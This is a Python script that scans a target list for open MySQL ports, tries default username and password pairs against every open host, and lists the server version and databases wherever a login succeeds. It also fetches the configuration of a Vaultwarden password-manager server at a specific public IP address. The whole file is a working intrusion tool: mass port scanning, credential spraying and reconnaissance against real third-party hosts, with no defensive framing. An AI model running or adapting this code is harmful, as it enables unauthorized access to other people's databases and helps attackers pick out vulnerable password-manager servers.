import asyncio, json, socket
import pymysql, aiohttp

def load(name):
    out = []
    for line in open(f"/root/recon/lists/{name}.txt"):
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out

def tcp_open(ip, port=3306, t=3):
    try:
        socket.create_connection((ip, port), timeout=t).close()
        return True
    except Exception:
        return False

async def main():
    pl = load("zimbra")
    loop = asyncio.get_running_loop()
    sem = asyncio.Semaphore(120)
    async def chk(ip):
        async with sem:
            return ip, await loop.run_in_executor(None, tcp_open, ip)
    res = await asyncio.gather(*[chk(ip) for ip, _, _ in pl])
    open3306 = [ip for ip, o in res if o]
    print("3306 open:", len(open3306), "/", len(pl))
    open("/root/recon/mysql_ips.txt", "w").write("\n".join(open3306))

    CREDS = [("root", ""), ("root", "root"), ("root", "password"), ("root", "mysql"), ("admin", "admin")]
    hits = []
    for ip in open3306:
        for u, p in CREDS:
            try:
                c = pymysql.connect(host=ip, port=3306, user=u, password=p, connect_timeout=4, read_timeout=5)
                cur = c.cursor()
                cur.execute("select version()")
                v = (cur.fetchone() or [""])[0]
                cur.execute("show databases")
                dbs = [r[0] for r in cur.fetchall()]
                hits.append((ip, u, p or "<empty>", v, ",".join(dbs[:10])))
                c.close()
                break
            except Exception:
                continue
    print("auth ok:", len(hits))
    for h in hits:
        print("\t".join(map(str, h)))
    open("/root/recon/mysql_hits.tsv", "w").write("\n".join("\t".join(map(str, h)) for h in hits))

    # vaultwarden full config
    async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=12)) as s:
        async with s.get("http://129.153.62.97:8040/api/config", ssl=False) as r:
            t = await r.text()
    try:
        j = json.loads(t)
        keep = {k: j.get(k) for k in ("version", "signupAllowed", "invitationsAllowed", "signupDomains", "sso", "passwordIterations")}
        print("VAULT:", keep)
    except Exception:
        print("VAULT raw:", t[:300])

asyncio.run(main())
